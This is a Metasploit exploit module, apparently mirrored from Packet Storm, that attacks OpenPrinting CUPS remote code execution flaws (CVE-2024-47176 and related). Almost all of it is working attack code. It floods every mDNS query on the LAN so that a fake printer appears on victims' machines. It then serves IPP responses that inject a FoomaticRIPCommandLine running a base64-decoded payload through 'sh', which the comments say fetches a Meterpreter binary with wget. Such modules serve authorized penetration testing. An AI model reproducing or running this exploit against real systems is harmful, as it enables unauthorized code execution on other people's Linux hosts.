Share
## https://sploitus.com/exploit?id=PACKETSTORM:182767
class MetasploitModule < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Exploit::Remote::DNS::Common  
include Exploit::Remote::SocketServer  
include Msf::Exploit::Remote::HttpServer::HTML  
  
# Accessor for IPP HTTP service  
attr_accessor :service2  
  
MULTICAST_ADDR = '224.0.0.251'  
  
# Define IPP constants  
module TagEnum  
UNSUPPORTED_VALUE = 0x10  
  
UNKNOWN_VALUE = 0x12  
NO_VALUE = 0x13  
  
# Integer types  
INTEGER = 0x21  
BOOLEAN = 0x22  
ENUM = 0x23  
  
# String types  
OCTET_STR = 0x30  
DATETIME_STR = 0x31  
RESOLUTION = 0x32  
RANGE_OF_INTEGER = 0x33  
TEXT_WITH_LANGUAGE = 0x35  
NAME_WITH_LANGUAGE = 0x36  
  
TEXT_WITHOUT_LANGUAGE = 0x41  
NAME_WITHOUT_LANGUAGE = 0x42  
KEYWORD = 0x44  
URI = 0x45  
URI_SCHEME = 0x46  
CHARSET = 0x47  
NATURAL_LANGUAGE = 0x48  
MIME_MEDIA_TYPE = 0x49  
end  
  
# Define IPP printer operations  
module OperationEnum  
# https://tools.ietf.org/html/rfc2911#section-4.4.15  
PRINT_JOB = 0x0002  
VALIDATE_JOB = 0x0004  
CANCEL_JOB = 0x0008  
GET_JOB_ATTRIBUTES = 0x0009  
GET_JOBS = 0x000a  
GET_PRINTER_ATTRIBUTES = 0x000b  
  
# 0x4000 - 0xFFFF is for extensions  
# CUPS extensions listed here:  
# https://web.archive.org/web/20061024184939/http://uw714doc.sco.com/en/cups/ipp.html  
CUPS_GET_DEFAULT = 0x4001  
CUPS_LIST_ALL_PRINTERS = 0x4002  
end  
  
module JobStateEnum  
# https://tools.ietf.org/html/rfc2911#section-4.3.7  
PENDING = 3 # AKA "IDLE"  
PENDING_HELD = 4  
PROCESSING = 5  
PROCESSING_STOPPED = 6  
CANCELED = 7  
ABORTED = 8  
COMPLETED = 9  
end  
  
# Define IPP section constants  
module SectionEnum  
SECTIONS = 0x00  
SECTIONS_MASK = 0xf0  
OPERATION = 0x01  
JOB = 0x02  
ENDTAG = 0x03 # Changed from END  
PRINTER = 0x04  
UNSUPPORTED = 0x05  
end  
  
class MulticastComm < Rex::Socket::Comm::Local  
# hax by spencer to set the socket options for handling multicast using the native APIs (as opposed to Rex::Socket)  
# without this in place, the module won't work on a system with multiple network interfaces  
def self.create_by_type(param, type, proto = 0)  
socket = super  
socket.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)  
socket.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_MULTICAST_TTL, 255)  
  
membership = IPAddr.new(MULTICAST_ADDR).hton + IPAddr.new('0.0.0.0').hton  
socket.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, membership)  
socket  
end  
  
end  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'CUPS IPP Attributes LAN Remote Code Execution',  
'Description' => %q{  
This module exploits vulnerabilities in OpenPrinting CUPS, which is running by  
default on most Linux distributions. The vulnerabilities allow an attacker on  
the LAN to advertise a malicious printer that triggers remote code execution  
when a victim sends a print job to the malicious printer. Successful exploitation  
requires user interaction, but no CUPS services need to be reachable via accessible  
ports. Code execution occurs in the context of the lp user. Affected versions  
are cups-browsed <= 2.0.1, libcupsfilters <= 2.1b1, libppd <= 2.1b1, and  
cups-filters <= 2.0.1.  
},  
'Author' => [  
# Original researcher  
'Simone Margaritelli',  
# Public exploit  
'Rick de Jager',  
# IPP server implementation based on Python's ipp-server  
'David Batley',  
# mDNS functionality  
'Spencer McIntyre',  
'RageLtMan <rageltman[at]sempervictus>',  
# Metasploit module  
'Ryan Emmons'  
],  
'License' => MSF_LICENSE,  
'References' => [  
# The relevant CUPS CVE identifiers  
['CVE', '2024-47076'],  
['CVE', '2024-47175'],  
['CVE', '2024-47177'],  
['CVE', '2024-47176'],  
# The initial researcher publication  
['URL', 'https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/'],  
# The public exploit this module was inspired by  
['URL', 'https://github.com/RickdeJager/cupshax'],  
# The cups-browsed GitHub security advisory  
['URL', 'https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8'],  
# The libcupsfilters GitHub security advisory  
['URL', 'https://github.com/OpenPrinting/libcupsfilters/security/advisories/GHSA-w63j-6g73-wmg5'],  
# The libppd GitHub security advisory  
['URL', 'https://github.com/OpenPrinting/libppd/security/advisories/GHSA-7xfx-47qg-grp6'],  
# The cups-filters GitHub security advisory  
['URL', 'https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-p9rh-jxmq-gq47'],  
# The IPP server implementation this module is based on  
['URL', 'https://github.com/h2g2bob/ipp-server/']  
],  
# Executes as 'lp' on most Linux distributions  
'Privileged' => false,  
'Targets' => [['Default', {}]],  
'Platform' => %w[linux unix],  
'Arch' => [ARCH_CMD],  
'DefaultOptions' => {  
'FETCH_COMMAND' => 'WGET',  
'FETCH_WRITABLE_DIR' => '/var/tmp'  
},  
'Stance' => Msf::Exploit::Stance::Passive,  
'DefaultAction' => 'Service',  
'DefaultTarget' => 0,  
'DisclosureDate' => '2024-09-26',  
'Notes' => {  
# There's a small chance the fake printer may flag as "broken" after one execution  
# If this happens, other victims on the LAN will still be susceptible to code execution  
# However, this *shouldn't* happen :)  
'Stability' => [CRASH_SAFE],  
# Requires a user to send a print job to the malicious printer to trigger RCE  
'Reliability' => [EVENT_DEPENDENT],  
'SideEffects' => [  
# /var/log/cups/error_log will likely contain the payload, IPP server details, and printer name  
# /var/log/cups/access_log will contain the IPP server details and printer name  
IOC_IN_LOGS,  
# The /tmp directory will likely contain a file called "foomatic-" + five random characters  
# This file is a PDF owned by 'lp', and it's the content that the victim user tried to print  
ARTIFACTS_ON_DISK  
]  
}  
)  
)  
  
register_options(  
[  
OptString.new('PrinterName', [true, 'The printer name', 'PrintToPDF'], regex: /^[a-zA-Z0-9_ ]+$/),  
OptAddress.new('SRVHOST', [true, 'The local host to listen on (cannot be 0.0.0.0)']),  
OptPort.new('SRVPORT', [true, 'The local port for the IPP service', 7575])  
]  
)  
end  
  
def validate  
super  
  
if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0  
raise Msf::OptionValidateError.new({ 'SRVHOST' => 'The SRVHOST option must be set to a routable IP address.' })  
end  
  
# Rex::Socket does not support forwarding UDP multicast sockets right now so raise an exception if that's configured  
unless _determine_server_comm(datastore['SRVHOST']) == Rex::Socket::Comm::Local  
raise Msf::OptionValidateError.new({ 'SRVHOST' => 'SRVHOST can not be forwarded via a session.' })  
end  
end  
  
#  
# Wrapper for service execution and cleanup  
#  
def exploit  
@printer_uuid = SecureRandom.uuid  
start_mdns_service  
start_ipp_service  
print_status("Services started. Printer '#{datastore['PrinterName']}' is being advertised")  
service.wait  
rescue Rex::BindFailed => e  
print_error "Failed to bind to port: #{e.message}"  
end  
  
# mDNS code below  
def start_mdns_service  
self.service = Rex::ServiceManager.start(  
Rex::Proto::MDNS::Server,  
'0.0.0.0',  
5353,  
false,  
nil,  
MulticastComm,  
{ 'Msf' => framework, 'MsfExploit' => self }  
)  
  
service.dispatch_request_proc = proc do |cli, data|  
on_dispatch_mdns_request(cli, data)  
end  
service.send_response_proc = proc do |cli, data|  
on_send_mdns_response(cli, data)  
end  
rescue ::Errno::EACCES => e  
raise Rex::BindFailed, e.message  
end  
  
def create_ipp_response(version_major, version_minor, request_id)  
# Printer attributes  
attributes = {}  
  
# Creating an MVP ("Minimum Viable Printer")  
  
# charset  
attributes[[SectionEnum::PRINTER, 'attributes-configured', TagEnum::CHARSET]] = ['utf-8']  
  
# charset  
attributes[[SectionEnum::PRINTER, 'attributes-supported', TagEnum::CHARSET]] = ['utf-8']  
  
# keyword  
attributes[[SectionEnum::PRINTER, 'compression-supported', TagEnum::KEYWORD]] = ['none']  
  
# mimeMediaType  
attributes[[SectionEnum::PRINTER, 'document-format-default', TagEnum::MIME_MEDIA_TYPE]] = ['application/pdf']  
  
# mimeMediaType  
attributes[[SectionEnum::PRINTER, 'document-format-supported', TagEnum::MIME_MEDIA_TYPE]] = ['application/pdf']  
  
# naturalLanguage  
attributes[[SectionEnum::PRINTER, 'generated-natural-language-supported', TagEnum::NATURAL_LANGUAGE]] = ['en']  
  
# keyword  
attributes[[SectionEnum::PRINTER, 'ipp-versions-supported', TagEnum::KEYWORD]] = ['1.1']  
  
# keyword  
attributes[[SectionEnum::PRINTER, 'media-default', TagEnum::KEYWORD]] = ['iso_a4_210x297mm']  
  
# keyword  
attributes[[SectionEnum::PRINTER, 'media-supported', TagEnum::KEYWORD]] = ['iso_a4_210x297mm']  
  
# keyword  
attributes[[SectionEnum::PRINTER, 'media-type', TagEnum::KEYWORD]] = ['stationery']  
  
enc_payload = Rex::Text.encode_base64(payload.encoded)  
  
# 1setOf keyword  
attributes[[SectionEnum::PRINTER, 'media-type-supported', TagEnum::KEYWORD]] = [  
'stationery',  
# Here's our base64-encoded fetch payload, which will grab a Meterpreter binary from our stager HTTP server  
": HAX\n*FoomaticRIPCommandLine: echo -n #{enc_payload}|base64 -d|sh;#\n*cupsFilter2: \"application/vnd.cups-pdf application/pdf 0 foomatic-rip\"\n*%"  
]  
  
# naturalLanguage  
attributes[[SectionEnum::PRINTER, 'natural-language-configured', TagEnum::NATURAL_LANGUAGE]] = ['en']  
  
# 1setOf enum  
attributes[[SectionEnum::PRINTER, 'document-format-supported', TagEnum::ENUM]] = [  
OperationEnum::PRINT_JOB,  
OperationEnum::VALIDATE_JOB,  
OperationEnum::CANCEL_JOB,  
OperationEnum::GET_JOB_ATTRIBUTES,  
OperationEnum::GET_PRINTER_ATTRIBUTES  
]  
  
# keyword  
attributes[[SectionEnum::PRINTER, 'pdl-override-supported', TagEnum::KEYWORD]] = ['not-attempted']  
  
# textWithoutLanguage  
attributes[[SectionEnum::PRINTER, 'printer-info', TagEnum::TEXT_WITHOUT_LANGUAGE]] = ['Printer']  
  
# textWithoutLanguage  
attributes[[SectionEnum::PRINTER, 'printer-make-and-model', TagEnum::TEXT_WITHOUT_LANGUAGE]] = ['Printer 1.00']  
  
# nameWithoutLanguage  
attributes[[SectionEnum::PRINTER, 'printer-name', TagEnum::NAME_WITHOUT_LANGUAGE]] = ['Printer']  
  
# enum  
attributes[[SectionEnum::PRINTER, 'printer-state', TagEnum::ENUM]] = [JobStateEnum::PENDING] # AKA IDLE  
  
# keyword  
attributes[[SectionEnum::PRINTER, 'printer-state-reasons', TagEnum::KEYWORD]] = ['none']  
  
# integer  
attributes[[SectionEnum::PRINTER, 'pdl-override-supported', TagEnum::INTEGER]] = [Time.now.to_i]  
  
# uri  
attributes[[SectionEnum::PRINTER, 'printer-uri-supported', TagEnum::URI]] = ['ipp://localhost:631/printer']  
  
# keyword  
attributes[[SectionEnum::PRINTER, 'uri-authentication-supported', TagEnum::KEYWORD]] = ['none']  
  
# keyword  
attributes[[SectionEnum::PRINTER, 'uri-security-supported', TagEnum::KEYWORD]] = ['none']  
  
# Create response, imitating ipp-server's 'to_file' function  
  
# Pack the version  
response = [version_major, version_minor].pack('C*')  
  
# Pack the 2-byte status code  
response << [0x0000].pack('n')  
  
# Pack the 4-byte request ID  
response << [request_id].pack('N')  
  
# Group the above defined attributes by section (we use the PRINTER section for the payload)  
attributes.group_by { |k, _v| k[0] }.each do |section, attrs_in_section|  
response << [section].pack('C')  
  
attrs_in_section.each do |key, values|  
_section, name, tag = key  
values.each_with_index do |value, i|  
response << [tag].pack('C')  
if i == 0  
response << [name.length].pack('n')  
response << name  
else  
response << [0].pack('n')  
end  
  
# Make sure non-string values work by packing as four bytes (should work for all ints)  
if value.is_a?(Integer)  
response << [4].pack('n')  
response << [value].pack('N')  
else  
# Packing strings  
response << [value.length].pack('n')  
response << value  
end  
end  
end  
end  
  
# Close out attributes with an ENDTAG  
response << [SectionEnum::ENDTAG].pack('C')  
  
response  
end  
  
#  
# IPP servers communicate using a binary protocol via HTTP  
#  
def start_ipp_service  
# Start the IPP web service  
self.service2 = Rex::ServiceManager.start(  
Rex::Proto::Http::Server,  
srvport,  
srvhost,  
false,  
{ 'Msf' => framework, 'MsfExploit' => self },  
Rex::Socket::Comm::Local  
)  
  
# Register a route for queries to the printer  
service2.add_resource('/ipp/print',  
'Proc' => proc do |cli, req|  
case req.method  
# Some printers perform an initial GET request before the exploitable POST request  
# We serve up agreeable placeholder data for that initial request  
when 'GET'  
# Send HTTP response data  
ppd_content = ppd_out  
send_response(cli, ppd_content,  
'Content-Type' => 'application/postscript')  
  
# When the victim system interacts with our printer, a POST request will be received  
when 'POST'  
# When VERBOSE is true, all request bytes will be printed  
vprint_status("Received IPP request: #{req.body.bytes.map do |b|  
format('%02x', b)  
end.join(' ')}")  
data = req.body.bytes  
return if data.length < 8  
  
# Extract version, operation, and request ID from the request to print in VERBOSE mode  
version_major = data[0]  
version_minor = data[1]  
operation_id = (data[2] << 8) | data[3]  
request_id = (data[4] << 24) | (data[5] << 16) | (data[6] << 8) | data[7]  
  
vprint_status("IPP Version: #{version_major}.#{version_minor}, Operation: 0x#{operation_id.to_s(16)}, Request ID: #{request_id}")  
  
# Respond to the IPP request to confirm the printer is a valid target and inject the malicious payload  
response = create_ipp_response(version_major, version_minor, request_id)  
  
send_response(cli, response,  
'Content-Type' => 'application/ipp',  
'Content-Length' => response.length.to_s)  
end  
rescue StandardError => e  
vprint_error('An error occurred while processing an IPP request')  
vprint_error("IPP Error is #{e.class} - #{e.message}")  
vprint_error(e.backtrace.join("\n").to_s)  
raise e  
end,  
'Path' => '/ipp/print')  
  
print_status("IPP service started on #{Rex::Socket.to_authority(srvhost, srvport)}")  
rescue Rex::BindFailed => e  
vprint_error("Failed to bind IPP web service to #{Rex::Socket.to_authority(srvhost, srvport)}")  
raise e  
end  
  
#  
# Printer info for victim systems that require an initial GET request.  
#  
def ppd_out  
<<~PPD  
*PPD-Adobe: "4.3"  
*FormatVersion: "4.3"  
*FileVersion: "1.0"  
*LanguageVersion: English  
*LanguageEncoding: ISOLatin1  
*PCFileName: "#{datastore['PrinterName']}.PPD"  
*Manufacturer: "#{datastore['PrinterName']}"  
*Product: "(#{datastore['PrinterName']})"  
*ModelName: "#{datastore['PrinterName']}"  
*ShortNickName: "#{datastore['PrinterName']}"  
*NickName: "#{datastore['PrinterName']}"  
*PSVersion: "(3010.000) 0"  
*LanguageLevel: "3"  
*ColorDevice: True  
*DefaultColorSpace: RGB  
*FileSystem: False  
*Throughput: "1"  
*LandscapeOrientation: Plus90  
*TTRasterizer: Type42  
*cupsVersion: 1.4  
*cupsModelNumber: 1  
*cupsManualCopies: True  
*cupsFilter: "application/vnd.cups-postscript 0 -"  
*cupsFilter: "application/vnd.cups-pdf 0 -"  
*OpenUI *PageSize/Media Size: PickOne  
*DefaultPageSize: Letter  
*PageSize Letter: "<</PageSize[612 792]/ImagingBBox null>>setpagedevice"  
*CloseUI: *PageSize  
*DefaultImageableArea: Letter  
*ImageableArea Letter: "0 0 612 792"  
*DefaultPaperDimension: Letter  
*PaperDimension Letter: "612 792"  
PPD  
end  
  
#  
# Creates Proc to handle incoming requests  
#  
def on_dispatch_mdns_request(cli, data)  
# Handle empty mDNS data  
return if data.strip.empty?  
  
# Encode the incoming packet as a Dnsruby message  
req = Packet.encode_drb(data)  
  
# Ignore responses  
return if req.header.qr  
  
# Print the incoming request in VERBOSE mode (will produce a lot of output)  
peer = Rex::Socket.to_authority(cli.peerhost, cli.peerport)  
asked = req.question.map(&:qname).map(&:to_s).join(', ')  
vprint_status("Received request for #{asked} from #{peer}")  
  
# Assign printer name variables for mDNS responses  
printer_name = datastore['PrinterName']  
printer_name_no_space = printer_name.gsub(/ /, '')  
ipp_printer_name = "#{printer_name_no_space}._ipp._tcp.local"  
  
# A draft approach was to advertise our malicious printer by selectively responding only to _ipp and _printer queries  
# However, that requires the victim to search for new printers, which doesn't happen on most systems during a print dialog (it requires Settings->Printers->"Add Printer" on Ubuntu)  
# Also, different distributions seem to have different flows for that, which made the approach unreliable  
# So, instead of that, we just spray responses to every single mDNS query within the multicast domain to automatically populate the victim's printer list with our malicious printer  
return unless req.question.first  
  
# PTR record  
req.add_answer(Dnsruby::RR.create(  
name: '_ipp._tcp.local.',  
type: 'PTR',  
# Keeping TTL low because ghost records from previous module runs will hang the Linux printer selection window for ~30 seconds, impeding exploitation  
# Since we're spraying advertisements in response to everything, low TTL shouldn't be an issue  
ttl: 30,  
domainname: "#{ipp_printer_name}."  
))  
# A record for our printer  
# All of these answers seem to need to be additional record answers, not just answers  
req.add_additional(Dnsruby::RR.create(  
name: "#{printer_name_no_space}.local.",  
type: 'A',  
ttl: 30,  
# The IP address of our malicious HTTP IPP service  
address: datastore['SRVHOST']  
))  
  
# SRV record  
req.add_additional(Dnsruby::RR.create(  
name: "#{ipp_printer_name}.",  
type: 'SRV',  
ttl: 30,  
priority: 0,  
weight: 0,  
# The port of our malicious HTTP IPP service  
port: datastore['SRVPORT'],  
target: "#{printer_name_no_space}.local."  
))  
  
# TXT record  
req.add_additional(Dnsruby::RR.create(  
name: "#{ipp_printer_name}.",  
type: 'TXT',  
ttl: 30  
).tap do |rr|  
rr.strings = [  
'txtvers=1',  
'qtotal=1',  
'rp=ipp/print',  
"ty=#{printer_name}",  
'pdl=application/postscript,application/pdf',  
# The "adminurl" value may or may not be queried, depending on the victim type  
# Points to our malicious HTTP IPP service  
"adminurl=http://#{Rex::Socket.to_authority(srvhost, srvport)}",  
'priority=0',  
'color=T',  
'duplex=T',  
# Unique UUID to avoid printer collision from multiple runs with the same configuration  
"UUID=#{@printer_uuid}"  
]  
end)  
  
# NSEC record, seems to be required, should be additional answer type  
req.add_additional(Dnsruby::RR.create(  
name: "#{ipp_printer_name}.",  
type: 'NSEC',  
ttl: 30,  
next_domain: "#{ipp_printer_name}.",  
types: 'AAAA'  
))  
  
# Indicate our mDNS message is a query response  
req.header.qr = 1  
# In response messages for Multicast domains, the Authoritative Answer bit MUST be set to one  
# https://datatracker.ietf.org/doc/html/rfc6762  
req.header.aa = 1  
  
# Clear questions and update counts for our response  
req.question.clear  
req.update_counts  
  
# Encode and send response  
response_data = Packet.generate_response(req).encode  
  
service.send_response(cli, response_data)  
end  
  
#  
# Creates Proc to handle outbound responses  
#  
def on_send_mdns_response(cli, data)  
# Log to console in VERBOSE mode, then write response  
vprint_status("Sending response to #{Rex::Socket.to_authority(cli.peerhost, cli.peerport)}")  
cli.write(data)  
end  
  
def cleanup  
super  
  
if service2  
# Remove the IPP resource before stopping the HTTP service  
service2.remove_resource('/ipp/print')  
service2.stop  
self.service2 = nil  
end  
  
return unless service  
  
# Stop the mDNS service  
service.stop  
self.service = nil  
end  
end